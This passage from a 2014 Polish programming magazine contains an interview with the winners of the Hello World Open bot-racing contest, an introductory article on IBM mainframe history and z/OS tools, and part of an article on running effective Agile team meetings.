– znaliśmy się głównie poprzez konkursy programistyczne. Ja organizowałem 
jeszcze różne „treningi programistyczne”, to taki „łańcuszek znajomości”.

Piotr Żurkowski: Wydaje mi się, że na naszej uczelni (Politechnika Poznańska) 
jest po prostu kilka osób dobrych w algorytmach i wszyscy siebie bardzo do-
brze znają. Tak jakoś wyszło.

MP: Skąd pomysł, żeby brać udział w Hello World Open?

Piotr Żurkowski: Kolega pracujący w Helsinkach wysłał mi link, że są takie 
zawody i fajnie byłoby wziąć udział. No a jak brać udział – to z bratem. Nie 
wiedzieliśmy, że potraktujemy to aż tak bardzo na serio. Na początku miała 

Polacy górą! Relacja z finałów  

Hello World Open 2014

Kolejny sukces Polaków na międzynarodowych zawodach! Polski team „Need For C” 
podczas finałów w Helsinkach w zeszłym miesiącu pokonał ponad 2,5 tysiąca drużyn 
z całego świata, tym samym zgarniając tytuł zwycięzcy i ponad 20 tysięcy złotych.

Zwycięzcy Hello World Open 2014. Od lewej: Piotr Żurkowski, Tomasz 

Żurkowski, Wojciech Jaśkowski. /fot. Tuomas Sauliala/Karttahuone Oy

background image

61

/ www.programistamag.pl /

POLACY GÓRĄ! RELACJA Z FINAŁÓW HELLO WORLD OPEN 2014

to być po prostu zabawa – a nuż uda się zrobić coś ciekawego. Drużyny były 
trzyosobowe, to czemu mieć dwie osoby, skoro można dobrać kogoś jeszcze...

Wojciech Jaśkowski: Piotrek mnie strasznie męczył, bo nie chciałem w tym 
brać udziału – po prostu nie miałem na to czasu...

Piotr Żurkowski: Ja chciałem ściągnąć Wojtka – on będzie tylko doradzał i 
omawiał taktyki. No i faktycznie – w kwalifikacjach bardzo dużo rozmawiali-
śmy. Robiliśmy trochę researchu ze wszystkich stron, a potem Wojtek się bar-
dzo mocno wkręcił i dotarliśmy aż do finału.

MP: Spędziliście masę, naprawdę masę godzin nad przygotowaniami. To była 
dość długa przeprawa do finału. Z osiągnięcia czego jesteście najbardziej dumni?

Tomasz Żurkowski: Dużo zabawy, na pewno dużo zabawy.

Piotr Żurkowski: Rywalizacja z innymi ludźmi, każdy coś napisał i patrzy się, 
co oni wymyślili.

Tomasz Żurkowski: To coś innego niż normalna praca, to nie jest pisanie kodu, 
który musisz napisać. To bardzo fajne, że można wrócić do młodszych lat, 
gdzie było tak dużo kreatywności, myślenia. Mimo wszystko później w róż-
nych przypadkach kreatywność spada. Naprawdę bardzo fajnie bawiło się w 
gadanie, wymyślanie różnych rzeczy, pisanie, sprawdzanie, testowanie… Cu-
downe, po prostu cudowne.

MP: W jaki sposób wasze rozwiązanie pokonało prawie 2,5 tysiąca drużyn 
z całego świata? Co trzeba zrobić, żeby pokonać tyle różnych ekip?

Wojciech Jaśkowski: Poświęcić więcej czasu i więcej chęci.

Piotr Żurkowski: Naszym dużym atutem był fakt, że mamy duży background 
w algorytmice i jesteśmy dość biegli w takich rzeczach. Optymalizacje kodu, 
różne tego typu rzeczy nie są nam straszne. Wojtek w ogóle specjalizuje się w 
sztucznej inteligencji. Tak jak Tomek mówił – dużo czasu, dużo zacięcia.

MP: Czyli największą trudnością według was były problemy matematyczne?

Tomasz Żurkowski: To zależy, ten konkurs ma bardzo dużo takich „gałęzi”: po 
pierwsze trzeba umieć jeździć dobrze, po drugie trzeba dobrze sobie radzić z 
innymi samochodami i tak dalej… Każde podejście do konkretnej rzeczy jest 
zupełnie inne, ale jednocześnie wszystkie są ze sobą tak powiązane, że bardzo 
ciężko to dobrze rozdzielić, ciężko powiedzieć, co było najtrudniejsze.

Wojciech Jaśkowski: Tu nie było dużo matematyki. Ja bym tego nie nazwał 
matematyką – to było mnożenie i dzielenie… takie podwórko.

Tomasz Żurkowski: Trochę algorytmów było, trochę fizyki, trochę mate-
matyki. Zobaczyliśmy jakieś pochodne i próbowaliśmy coś oszacować, 
aproksymować…

Wojciech Jaśkowski: Ja myślę, że ważny był podział całego kodu na moduły, 
tego się nie da ugryźć jednym modułem. Tutaj koledzy ładnie podzielili to na 
moduły, które były do pewnego stopnia niezależne. Dzięki temu można było ła-
two podzielić pracę pomiędzy osoby, które wzajemnie niczego sobie nie psuły.

Tomasz Żurkowski: Ten sam początek, sama baza była dobrze napisana i po-
tem można było na nim opakowywać.

Wojciech Jaśkowski: Też było ważne to, że jakieś tam doświadczenie mamy z 
różnego rodzaju programowania i wiemy, jak ważne są testy. Dlatego dużo 
mamy testów jednostkowych w kodzie, ale również dużo takich testów re-

gresyjnych, mamy swój symulator, który puszczamy np. 10k razy i patrzymy, 
czy nie ma żadnego błędu, żadnej błędnej rzeczy w kodzie, po każdej zmianie, 
czy coś się nie pogorszyło. Wtedy w miarę bezpieczne jest zmienianie.

MP: Czyli żeby pokonać 2,5 tysiąca drużyn kod w tym konkursie musiał trzy-
mać wysokie standardy?

Piotr Żurkowski: Ilość tego kodu troszeczkę wymusza fakt, żeby był dobrze 
napisany, czytelnie i żeby potem rozwinięcie tego, co się robiło miesiąc temu, 
nie rozwaliło nagle czegoś innego.

Wojciech Jaśkowski: Mieliśmy dużo refaktoryzacji, one były konieczne z inny-
mi przeróbkami. Pracowaliśmy nad tym od miesiąca, jeżeli pracujesz nad pro-
jektem tyle czasu, to nie możesz sobie pozwolić na to, żeby dzisiaj coś napisać, 
a jutro wyrzucić Nie może być błędów. Jak konkurencja ma jeden błąd – to 
wygrywamy. To jest też gra błędów w tej chwili.

Tomasz Żurkowski: Kto ma jakie błędy i które się pojawią, dokładnie.

Wojciech Jaśkowski: My na przykład jesteśmy świadomi jednego błędu, który 
mamy, od wczoraj jesteśmy świadomi, wiemy, jak go naprawić, ale nie podję-
liśmy się tego – baliśmy się, że naprawa pociągnie za sobą zbyt wiele nega-
tywnych konsekwencji i dorzucimy nowe błędy. Ten, który mamy, objawia się 
bardzo rzadko, raz na 10 wyścigów w bardzo specyficznych sytuacjach. Mamy 
nadzieję, że się nie wydarzy.

MP: Czyli zgodnie z ideą programowania, przy fixowaniu bugów, doszliście 
do problemów, które mało przeszkadzają?

Wojciech Jaśkowski: Ważyliśmy ryzyka. Czy to ryzyko, że mamy błąd i wiemy 
o tym, czy to ryzyko, że chcielibyśmy coś tam przebudować, wprowadzimy 
nowe rzeczy i już nie będziemy tacy pewni.

Tomasz Żurkowski: Tym bardziej że tu akurat są dwa przypadki – jeżdżenie sa-
memu można było bardzo łatwo przetestować. Później była iteracja z innymi 
osobami – trenowaliśmy już z innymi finalistami i wiedzieliśmy, że nasz kod 
dobrze działa, nie zastanawialiśmy, czy jest sens cokolwiek zmieniać. Ciężko 
było przewidzieć, jak zmiana zareaguje na innych graczy.

Wojciech Jaśkowski: To jest ciekawy aspekt tego konkursu, real time – my mu-
simy de facto odpowiedzieć w czasie 4 milisekund. Musimy zawrzeć w tym 
całą logikę sztucznej inteligencji. W celu optymalizacji robimy na przykład 
branch and bound

1

. Mnóstwo innego kodu nie można kwalifikować do jed-

nego algorytmu, ale problemy wydajnościowe również były bardzo ważne.

MP: Robiliście zwody na treningach, żeby inni czuli się silniejsi?

Piotr Żurkowski: Mamy nadzieję, że inni tego nie robili. Myślę, że wszystkie 
teamy chciały dobrze przetestować to, co mają. Nieprzetestowanie czegoś 
w poprzednich dniach może spowodować faktyczne problemy w finale. W 
związku z tym zakładamy, że wszyscy pokazali maksimum swoich możliwo-
ści… i czujemy się bardzo silni.

Kod zwycięskiej drużyny wraz z opisem technicznym jest dostępny na GitHubie

2

.

Z organizatorami konkursu i uczestnikami rozmawiał Michał Leszczyński.

http://en.wikipedia.org/wiki/Branch_and_bound

https://github.com/kareth/helloworldopen2014

background image

62

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Dawid Morawiec

WSTĘP

Pierwsze systemy mainframe wymagały ogromnych pomieszczeń, które po brze-
gi wypełnione były urządzeniami I/O. Typowa instalacja zajmowała powierzch-
nię od 200 do 1000 m

. Systemy IBM 705 z 1954 r. oraz ich następna generacja 

IBM 1401 z 1959 r. były zoptymalizowane pod kątem konkretnych zastosowań, 
takich jak inżynieria czy złożone obliczenia laboratoryjne, brakowało im jednak 
elastyczności i uniwersalności. Punktem zwrotnym okazał się być wprowadzony 
przez IBM w 1964 r. System/360 (Rysunek 1). Numer w nazwie systemu nie jest by-
najmniej przypadkowy, liczba 360 miała oddawać uniwersalność systemu, 360˚ 
- krąg możliwych zastosowań. S/360 był pierwszym komputerem wykorzystują-
cym możliwość mikroprogramowania, wcześniej lista rozkazów była wbudowa-
na w fizyczną architekturę komputera, tzn. każdej instrukcji odpowiadał osobny 
układ elektroniczny odpowiedzialny za jej wykonanie. 

 W roku 1970 IBM wprowadził na rynek rodzinę maszyn System 370 (Ry-

sunek 2), która potrafiła wykorzystać więcej niż jeden procesor oraz pamięć 
dzieloną. Wszystkie elementy w obwodach były wytwarzane na jednym pla-
strze krzemu, System 370 był również pierwszym komputerem implementu-
jącym mechanizm pamięci wirtualnej.

Rysunek 1. Komputer S/360 Model 40

Lata 80-te przyniosły kolejne zmiany na rynku w postaci zwiększenia liczby 
instrukcji procesora, rozszerzono adresowanie pamięci oraz dodano wsparcie 
dla wielokrotnej przestrzeni adresowej.

Rysunek 2. Komputer S/370 Model 165

W latach 90-tych istotnym zagadnieniem dla IBM, jak i całego sektora informa-
tycznego, było wprowadzenie logicznej partycji (LPAR) – technologii wirtualiza-
cji, która umożliwiła podział zasobów jednej fizycznej maszyny na kilka nieza-
leżnych jednostek. Wielu ekspertów twierdziło, że serwery te nie przetrwają do 
końca pierwszej połowy lat 90-tych. Przewidywano, że gwałtowny rozwój kom-
puterów PC oraz niewielkich serwerów doprowadzi do ich zaniku. Zupełnie 
odwrotną postawę prezentował IBM, przedstawiając System/390 (Rysunek 3).

Rysunek 3. Komputer S/390

W kolejnym okresie same mainframe, jak i urządzenia I/O stawały się coraz 
mniejsze i tańsze, podczas gdy ich funkcjonalność oraz moc obliczeniowa 
rosły. Wszystkie systemy „Big Iron” firmy IBM na poziomie aplikacyjnym, od 
architektury S/360, są kompatybilne wstecz, co oznacza, że oprogramowanie 
napisane dla modeli wcześniejszych może być uruchamiane na aktualnie eks-
ploatowanych serwerach. 

Obecnie produkowanym przez IBM systemem jest System z (Rysunek 4), 

występujący w dwóch wersjach: Business oraz Enterprise.

Rysunek 4. System z Enterprise

IBM Mainframe

W tym roku serwery mainframe obchodzą 50 rocznicę istnienia. Jest to dobry powód, 
aby przybliżyć je czytelnikom Programisty. Oczywiście w tak krótkim opracowaniu nie da 
się zawrzeć wszystkich informacji, a te przedstawione niżej stanowią jedynie wstęp do 
całej technologii oraz szeregu rozwiązań składających się na tę technologię. Jak zdefi-
niować mainframe? Nie da się zrobić tego jednoznacznie, ponieważ mainframe to zbiór 
cech biznesowych i funkcjonalności, a nie hardware i software, z których się składa.

background image

63

/ www.programistamag.pl /

IBM MAINFRAME

ARCHITEKTURA I PROCESOR

Po tym krótkim wstępie zajrzyjmy do wnętrza maszyny. S/360 bazuje na ar-
chitekturze von Neumanna, procesory centralne są oparte na architekturze 
CISC, a ich wydajność mierzona jest w MIPS (ang. Million Instructions Per Se-
cond
). Seria System z składa się z kilku różnych procesorów, które wspólnie 
określane są jako PU. Każdy z PU charakteryzuje się wielozadaniowością, 
może także być zaprogramowany do pełnienia odpowiedniej funkcji:

 

» CP (Central Processor) – najważniejszy procesor, wykorzystywany przez 

system oraz aplikacje użytkownika (procesor ogólnego przeznaczenia);

 

» SAP (System Assistance Processor) – każdy mainframe ma przynajmniej 

jeden procesor tego typu, ponieważ zapewnia on wewnętrzne wsparcie 
dla obsługi operacji I/O;

 

» IFL (Integrated Facility for Linux) – typ zaprojektowany specjalnie do ob-

sługi systemu z/Linux.

 

» zAAP (System z Application Assist Processor) - dodatkowy procesor zwięk-

szający wydajność aplikacji napisanych w Javie;

 

» zIIP (System z Integrated Information Processor) – zapewnia wsparcie przy 

przetwarzaniu zasobów bazodanowych (bezpośredni dostęp do bazy DB2);

 

» ICF (Integrated Coupling Facility) – obsługuje klaster maszyn działających 

w technologii Parallel Sysplex;

 

» Spare – procesor zapasowy, jeśli w system wykryje nieprawidłowość w 

którymś PU, to może być on zastąpiony przez Spare. W większości przy-
padków odbywa się to bez konieczności przerywania działania systemu.

Rysunek 5. Hardware

PAMIĘĆ

Wraz z rozwojem architektury następował wzrost wartości adresowania pa-
mięci od 24 do 64 bitów (Tabela 1). Wprowadzono pamięć wirtualną oraz stro-
nicowanie, jednak usprawnieniem, które przyniosło najwięcej korzyści, była 
implementacja pamięci cache.

Serwer

Adresowanie

S/360

24-bitowe adresowanie (wykorzysta-
nie 16MB pamięci)

S/370

24-bitowe adresowanie (wykorzysta-
nie 16MB pamięci)

S/390

31-bitowe adresowanie (wykorzysta-
nie 2GB pamięci)

System z

64-bitowe adresowanie (wykorzysta-
nie 16EB pamięci)

Tabela 1. Adresowanie pamięci

DYSKI

Do przechowywania danych, programów oraz samego systemu operacyj-
nego w systemie z/OS wykorzystywane są wolumeny DASD – Direct Access 
Storage Device (urządzenia pamięciowe o dostępie bezpośrednim). W odróż-
nieniu od systemów UNIX-owych, struktura danych w systemie z/OS nie jest 
hierarchiczna - dane przechowywane są sekwencyjnie.

WIRTUALIZACJA

Już w roku 1964 rozpoczęto prace nad systemem umożliwiającym wirtualiza-
cję całej maszyny w celu lepszego wykorzystania zasobów. Ewoluowała ona 
od programowej do sprzętowej. Obecnie stosowanym rozwiązaniem przez 
IBM jest wirtualizacja w postaci partycjonowania logicznego LPAR, która 
umożliwia uzyskanie do 60 odizolowanych systemów.

TYPOWE ZADANIA NA MAINFRAME

Do najczęściej spotykanych zadań, jakimi obciążony jest mainframe, należą: 
przetwarzanie transakcyjne (on-line) oraz przetwarzanie wsadowe (ang. batch).

Przetwarzanie wsadowe to zadania wykonywane bez interakcji użytkow-

nika. Operator uruchamia program, następnie oczekuje na wyniki. Charakte-
rystycznym dla przetwarzania wsadowego jest:

 

» duża ilość danych wejściowych oraz wyjściowych;

 

» setki/tysiące zadań uruchamianych w określonej kolejności lub jednocześnie;

 

» mała ilość użytkowników nadzorujących.

Przetwarzanie transakcyjne odbywa się w sposób interaktywny z użytkowni-
kiem. Charakteryzuje się:

 

» małą ilością danych wejściowych i wyjściowych;

 

» natychmiastowym czasem odpowiedzi;

 

» dużą liczbą użytkowników wykonujących wiele transakcji w tym samym czasie.

Dobrym przykładem zastosowania obu przetwarzań są banki: klienci, wypła-
cając pieniądze z bankomatu, wykonują przetwarzanie transakcyjne, pracow-
nicy banku natomiast przetwarzanie wsadowe, kiedy przeliczają salda kont. 

ROLE NA SERWERZE

Serwer mainframe jest wykorzystywany przez wielu użytkowników w tym sa-
mym czasie, dodatkowo może być uruchomiona na nim duża liczba aplikacji, 
dlatego też konieczne stało się podzielenie ról oraz zadań. Najczęściej spoty-
kanym jest podział na:

 

» Administratorów systemu;

 

» Administratorów aplikacji;

 

» Programistów;

 

» Operatorów .

SYSTEM Z/OS

Obecnie najpopularniejszym systemem operacyjnym na mainframe jest 
z/OS. Jak każdy OS zarządza on platformą oraz tworzy środowisko dla pro-
gramów i zadań. Do ciekawych należy sposób komunikacji użytkownika z 
systemem, najpowszechniej wykorzystywany jest interfejs TSO/E (ang. Time 
Sharing Option/Extensions
), ISPF (ang. Interactive System Productivity Facility
oraz powłoka UNIX. Aby zalogować się do TSO, wymagana jest konsola 3270 
lub jej emulator TN3270 uruchomiony na komputerze PC (Rysunek 6).

Rysunek 6. Okno logowania do TSO

background image

64

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Jako że TSO działa w trybie tekstowym (Rysunek 7), to w przypadku większości 
użytkowników, po zalogowaniu od razu uruchamiany jest ISPF (Rysunek 8).

Rysunek 7. TSO tryb natywny

Rysunek 8. ISPF Okno główne

Na Rysunku 7 widać wydane przez użytkownika polecenie 

ALLOC alokujące 

zbiór o nazwie 

USERID.TEST.CNTL. READY jest odpowiednikiem znaku za-

chęty w systemach UNIX - system czeka na wydanie polecenia. Na Rysunku 
8 widać główne okno ISPF, jest to bardziej przyjazna użytkownikowi forma 
komunikacji z systemem (użytkownik przemieszcza się pomiędzy opcjami, 
wpisując odpowiedni numer w polu 

Option ===>). Dodatkowo standar-

dowa konsola 3270 była wyposażana w klawisze funkcyjne od PF1 do PF24 
- przycisk PF3 oznacza wyjście z zapisem, a PF1 uruchamia podręczną pomoc. 
z/OS posiada warstwę UNIX-ową, do której logujemy się z poziomu TSO lub 
poprzez telnet, np. używając programu PuTTY. Ten sposób przedstawia Rysu-
nek 9 i zapewne będzie wydawał się znajomy większości czytelnikom. 

Rysunek 9. Połączenie via telnet

JCL I SDSF

JCL (ang. Job Control Language) jest językiem, który powinna znać każda osoba 
związana z mainframe, służącym do wykonywania różnych działań systemie, 
np. który program chcemy uruchomić, oraz niezbędne zasoby do jego wykona-

nia. W JCL możemy wykonywać polecenia TSO, ISPF oraz bardzo wiele czynno-
ści związanych z systemem oraz potrzebami użytkownika. Przykład zadania JCL 
pokazany na Rysunku 10 to sortowanie danych podanych w zdaniu SORTIN.

Rysunek 10. JCL

Po uruchomieniu konkretne zadanie (ang. submmit ), jego przebieg oraz efekt 
działania można śledzić w SDSF (ang. System Display and Search Facility). 

Rysunek 11. SDSF

Przykład tego, jak nasze zadanie sortujące wygląda w SDSF, prezentują Ry-
sunki 12 i 13.

Rysunek 12. Zadanie MYJOB w SDSF

Rysunek 13. Efekt wykonania sortowania

Na koniec chciałbym nadmienić, że na temat serwerów mainframe, ich funk-
cjonowania i rozwoju, można by napisać dużo dużo więcej, dlatego też bar-
dziej dociekliwych odsyłam do darmowych publikacji znajdujących się na 
stronie: 

http://www.redbooks.ibm.com/

Dziękuję firmie IBM za umożliwienie wykorzystania ilustracji.

Dawid Morawiec

morawiec.d@gmail.com

Absolwent Wydziału Fizyki i Informatyki Stosowanej Uniwersytetu Łódzkiego. Od dwóch lat pra-
cuje z serwerami mainframe. Na co dzień programuje w języku REXX oraz w szczególnie lubianej 
przez siebie Javie. Ponadto interesuje się robotyką i technologiami internetowymi. W wolnym 
czasie poświęca się pasji słuchania muzyki oraz czytania książek.

background image
background image

66

/ 6 

. 2014 . (25)  /

LABORATORIUM BOTTEGA

Paweł Badeński

Z

darza mi się nawet spotykać z sytuacjami, kiedy sfrustrowane zespoły 
rezygnują ze spotkań w ogóle. Uważam, że takie podejście to często 
„wylewanie dziecka z kąpielą”. Komunikacja oraz feedback są niezbęd-

nymi fundamentami Agile. Popularne metodyki takie jak Scrum wymagają od 
członków zespołu prowadzenia określonego typu spotkań (planowanie sprintu, 
retrospektywa). Niestety z mojego doświadczenia wynika, że niewiele mówi się 
na temat organizowania oraz prowadzenia spotkań. Natomiast wiedza na ten 
temat jest jedną z fundamentalnych metaumiejętności efektywnych zespołów.

Dlatego w artykule zaproponuję skuteczne techniki prowadzenia spo-

tkań, które pomagają oszczędzić czas, a jednocześnie wykorzystać wiedzę 
wszystkich członków zespołu.

PODSTAWOWE PROTOKOŁY

W artykule przedstawię kilka z podstawowych protokołów (ang. The Core 
Protocols
) – strategii efektywnych zespołów opracowanych przez Jima oraz 
Michele McCarthy. Autorzy protokołów dostrzegli, że skuteczne zespoły 
współdzielą zachowania, które pozwalają im zaoszczędzić czas oraz lepiej się 
komunikować. Pełna lista podstawowych protokołów zawiera 12 wzorców – w 
artykule przedstawię skrótowo wybrane z nich (Decider, Resolution, Check in 
oraz Pass). Pokażę, w jaki sposób mogą być wykorzystane do rozwiązania typo-
wych problemów spotkań. Jeśli zdecydujesz się z nich skorzystać, pełny opis 
znajdziesz online pod adresem 

http://liveingreatness.com/core-protocols

Ponadto warto, abyś zapoznał się z listą Podstawowych Zobowiązań – za-
sad, które stanowią fundament dla wykorzystania protokołów i powinny być 
wcześniej zaakceptowane przez zespół.

TYPOWE PROBLEMY Z PROPOZYCJĄ 

ROZWIĄZAŃ

Pracując z wieloma zespołami, zauważyłem, że nudne, męczące oraz wydłuża-
jące się spotkania łączą wspólne cechy. Poniżej opiszę cztery, które uważam za 
najważniejsze: brak przygotowania, zbaczanie z tematu, rozwlekanie spotka-
nia oraz „burze emocjonalne”. Wraz z problemami zaproponuję techniki, które 
pomogą zaadresować te typowe problemy.

Problem: Brak przygotowania

Według mnie dobre spotkanie jest jak dobra historyjka użytkownika i przede 
wszystkim ma kryteria akceptacyjne. Niejednokrotnie uczestniczyłem w spo-
tkaniach, gdzie organizator proponował słuszny pomysł, np. ograniczenie 

długu technicznego. Niestety brak przygotowania powodował, że spotkanie 
kończyło się porażką. Brak przygotowania przybiera różną postać, ale zawsze 
negatywnie wpływa na wynik spotkania, przykładowo:

 

» brak ram spotkania (np. agendy) spowoduje, że spotkanie przerodzi się w 

dyskusję filozoficzną, bądź będzie okazją dla członków zespołu do wyraża-
nia opinii niezwiązanych z tematem,

 

» brak określonej listy uczestników może sprawić, że 80% osób w pomiesz-

czeniu będzie tam niepotrzebnych.

 

» brak oczekiwanych wyników da iluzję owocnego spotkania, po którym nie 

zostaną podjęte żadne praktyczne kroki.

Rozwiązanie: Framework 7P

Bardzo prostą i efektywną techniką, która pozwala na skuteczne przygo-

towanie spotkania, jest framework 7P, opracowany przez Jamesa Macanufo. 
Jego nazwa odnosi się do siedmiu artefaktów, które składają się na dobrze 
przygotowane spotkanie: cel (ang. Purpose), produkt spotkania (ang. Product), 
ludzie (ang. People), proces (ang. process), pułapki (ang. pitfall), przygotowanie 
(ang. prep), zagadnienia praktyczne (ang. practical concerns). Poniżej opiszę 
pokrótce rolę każdego z elementów:

 

» cel – jest odpowiedzią na pytanie „Dlaczego?”, tłumaczy istotę spotkania 

oraz czemu jest ważne,

 

» produkt spotkania – identyfikuje listę rzeczy, które oczekujemy, że po-

wstaną podczas spotkania: listy, diagramy, szkice, plany, zadania do zre-
alizowania itp.

 

» ludzie – lista ludzi, którzy powinni uczestniczyć w spotkaniu. Może rów-

nież określać, kto nie musi lub nie powinien w nim uczestniczyć (np. nowo 
rekrutowany pracownik nie będzie uczestniczył w dyskusji na temat jego 
przyjęcia)

 

» proces – określa agendę spotkania oraz jego formę, np. brainstorming, 

dyskusja, praca w parach

 

» pułapki – lista potencjalnych problemów wraz z proponowanymi rozwią-

zaniami, często opiera się o doświadczenia z poprzednich spotkań (np. 
uczestnicy spotkania będą przychodzić spóźnieni)

 

» przygotowanie – lista rzeczy, które można przygotować wcześniej, aby 

spotkanie było bardziej efektywne

 

» zagadnienia praktyczne – konkretne informacje na temat tego, gdzie 

spotkanie się odbywa, kiedy, jak tam dotrzeć, oraz co jest wymagane od 
uczestników

W tabeli poniżej możesz znaleźć jego zastosowanie na przykładzie, pokazując 
jak mogłoby wyglądać przygotowanie retrospektywy.

Brakujący element Agile

Część 5: Spotkania

W tym artykule przedstawię techniki prowadzenia efektywnych i skutecznych spo-
tkań. Jako programista zdaję sobie sprawę, że spotkania są, mówiąc kolokwialnie, 
jednym z najbardziej znienawidzonych aspektów naszej pracy. Z mojego doświadcze-
nia wynika, że główną przyczyną jest ich chaotyczna struktura spowodowana brakiem 
przygotowania. Każdy dobrze zorganizowany projekt, iterację czy release produktu 
poprzedzamy planowaniem oraz zarządzamy ich przebiegiem. W przypadku spotkań 
dominuje tzw. podejście „na żywioł”. Z tego powodu tracimy masę czasu, chodząc na 
bezcelowe spotkania oraz prowadząc dyskusje o nieistotnych kwestiach.

background image

67

/ www.programistamag.pl /

BRAKUJĄCY ELEMENT AGILE. CZĘŚĆ 5: SPOTKANIA

Cel

Zidentyfikowanie sukcesów oraz problemów 
w zakończonej iteracji, w celu wykorzystania tej 
wiedzy w kolejnej iteracji

Artefakty

Lista zadań do zrealizowania w kolejnej iteracji 
wraz z osobami za nie odpowiedzialnymi

Ludzie

Wszyscy członkowie zespołu, kierownik projek-
tu, product owner (opcjonalnie)

Proces

1. Odczytanie „Pierwszej dyrektywy” Norma Kerth’a
2. Brainstorming sukcesów oraz problemów 
w kategoriach „Mad, Sad, Glad” (z użyciem 
żółtych karteczek, każdy osobno) – 5 minut.
3. Grupowanie tematów.
4. Wybranie najważniejszych tematów przez 
głosowanie.
5. Dyskusja oraz zidentyfikowanie zadań do 
zrealizowania – 10 minut na każdy temat.

Pułapki

Brak kierownika projektu – Andrzej upewni się, 
że kierownik projektu będzie na spotkaniu

Przygotowanie

Marek zarezerwuje pokój, rzutnik oraz 
przyniesie flamastry i żółte karteczki

Zagadnienia praktyczne

Wtorek, 14 maja 14:00 – 16:00, pokój „Marcelina”

Tabela 1. Framework 7P

Warto pamiętać, że framework 7P jest wyłącznie narzędziem i to od Ciebie 
zależy, jak je wykorzystasz. Z moich obserwacji wynika, że:

 

» optymalnie należy stosować framework 7P jako koło ratunkowe w sytu-

acjach, kiedy spotkania zespołu są nieefektywne

 

» najlepiej, kiedy planowaniem zajmie się jedna osoba, konsultując się z in-

nymi w razie potrzeby

 

» warto ograniczyć czas planowania (np. poprzez metodę timeboxingu), 

aby zapobiec sytuacji, kiedy problem długich spotkań zostanie zastąpiony 
przez problem długiego planowania

Problem: Zbaczanie z tematu

Wielokrotnie spotykam się z sytuacjami, że dyskusja przechodzi na tematy 
niez wiązane z tematem spotkania. Czasem dzieje się tak, ponieważ cel spo-
tkania nie jest precyzyjnie określony. Zakładając jednak, że spotkanie zostało 
dobrze przygotowane, a wciąż pojawia się problem częstych dygresji, warto 
skorzystać z pomocy strażnika spotkania (ang. facilitator).

Rozwiązanie: Strażnik spotkania

Uczestnicy spotkania pochłonięci tematem oraz pod wpływem emocji zdarzają 
się zapominać o regułach spotkania. Zewnętrzny obserwator, jakim jest strażnik 
spotkania, pilnuje, aby wcześniej ustalone reguły były przestrzegane. Jeżeli ze-
spół korzysta z frameworka 7P, strażnik spotkania zapewnia, aby spotkanie nie 
wykroczyło poza ramy tematyczne oraz czasowe określone w przygotowanym 
planie. Strażnik spotkania jest osobą odpowiedzialną za jego sukces.

Strażnik spotkania dba również o to, aby każdy z uczestników został wy-

słuchany i wypowiedział swoją opinię. Pomocne jest, jeśli zna typy osobowo-
ści uczestników spotkania, np. kto jest gadułą, a kto rzadko zabiera głos na 
spotkaniach (o wybranych typach osobowości przeczytasz więcej w dalszej 
części artykułu). Może wtedy dopasować sposób facylitacji do specyfiki grupy.

Należy pamiętać, że strażnik spotkania nie może być jednocześnie jego 

uczestnikiem. Nawet jeżeli jest członkiem zespołu, powinien na czas spotkania 
zachować neutralność. W firmach, w których pracowałem, częstą praktyką było 
„wypożyczanie” ludzi z innych zespołów. Ma to dwie zalety. Po pierwsze, osobie 
z zewnątrz łatwo jest zachować neutralność. Po drugie, zapewniamy w ten spo-
sób efektywny transfer wiedzy oraz umiejętności pomiędzy różnymi zespołami.

Rozwiązanie: Parking

Zdarza się, że na spotkaniach poruszane są kwestie istotne dla grupy, ale 

nie związane z aktualnie omawianym tematem. Członkowie zespołu są nie-
chętni przerwać dyskusję, ponieważ boją się, że temat już więcej nie powróci. 
W tym celu warto zaimplementować w zespole koncepcję parkingu – miejsca, 

gdzie umieszczane są ważne tematy do późniejszego omówienia. Zazwyczaj 
jest to fragment tablicy, bądź ściany, a tematy przywieszane są z użyciem żół-
tych karteczek. Wraz z tematem dobrze jest również dopisać osobę odpowie-
dzialną za temat, w innym przypadku tematy „odstawione” na parking mogą 
nie zostać nigdy więcej poruszone (a parking stanie się „cmentarzyskiem”).

Problem: Rozwlekanie spotkania

Klasycznym problemem spotkań jest jego przeciąganie. W wielu sytuacjach 
wcześniej przedstawione przeze mnie techniki wystarczą, aby zapobiec 
rozwlekaniu spotkania. Zdarza się, że zespołowi brakuje samodyscypliny, 
ponieważ jest już przyzwyczajony do długich i bezcelowych spotkań. W ta-
kiej sytuacji ograniczenia czasowe pozwalają wywrzeć przydatną presję na 
uczestników spotkania.

Rozwiązanie: Ograniczenia czasowe (ang. timeboxing)

Ograniczenia czasowe polegają na wyraźnym określeniu, ile czasu zespół 

poświęci na poszczególne punkty agendy. Po osiągnięciu limitu czasowego 
uczestnicy przechodzą do kolejnego punktu agendy – niezależnie od rezultatu.

Spotkałem się z sytuacjami, kiedy po osiągnięciu limitu czasowego zespół 

wspólnie decyduje, czy ograniczenie przedłużyć. Z mojego doświadczenia 
wynika, że tego typu praktyka powoduje, iż uczestnicy przestają poważnie 
traktować ograniczenia czasowe. Dlatego preferuję wariację, w której uczest-
nicy stosują kolejkę FIFO – niedokończony temat umieszczany jest na końcu 
kolejki. Dzięki temu realizujemy plan spotkania, a po zakończeniu znamy sku-
mulowany czas niedokończonych tematów. Tego rodzaju feedback pomaga 
w przyszłości lepiej planować czas spotkania oraz priotytety tematów.

Jedną z wariacji ograniczeń czasowych jest stosowanie ich do uczenia 

zespołu optymalnego wykorzystania czasu spotkania. Po zaplanowaniu spo-
tkania należy spróbować zmniejszyć eksperymentalnie czas spotkania do 1/4 
oryginalnych założeń. Część zaoszczędzonego czasu można wykorzystać na 
krótką retrospektywę, by podzielić się obserwacjami na temat tego, czego się 
nauczyliśmy. Takie doświadczenie może dostarczyć zespołowi źródła ciekawych 
wniosków, zwłaszcza że długości spotkań są z reguły dobierane arbitralnie. Dla 
przykładu, w jednym z zespołów, gdzie pracowałem, standup zajmował w pew-
nym okresie trwania projektu 45 minut. W niedługim czasie skróciliśmy go do 
15 minut, nie odczuwając jakichkolwiek efektów negatywnych.

Oprócz ograniczeń czasowych można również stosować przydatną pro-

cedurę nazywaną po angielsku „timecheck” (pol. kontrola czasu). Wybrana 
osoba powinna w regularnych odstępach przypominać o ilości czasu, który 
pozostał do zakończenia punktu agendy (bądź całego spotkania). Dzięki temu 
pozostali uczestnicy posiadają odpowiednik paska postępu dla spotkania 
oraz mogą lepiej zarządzać przebiegiem spotkania.

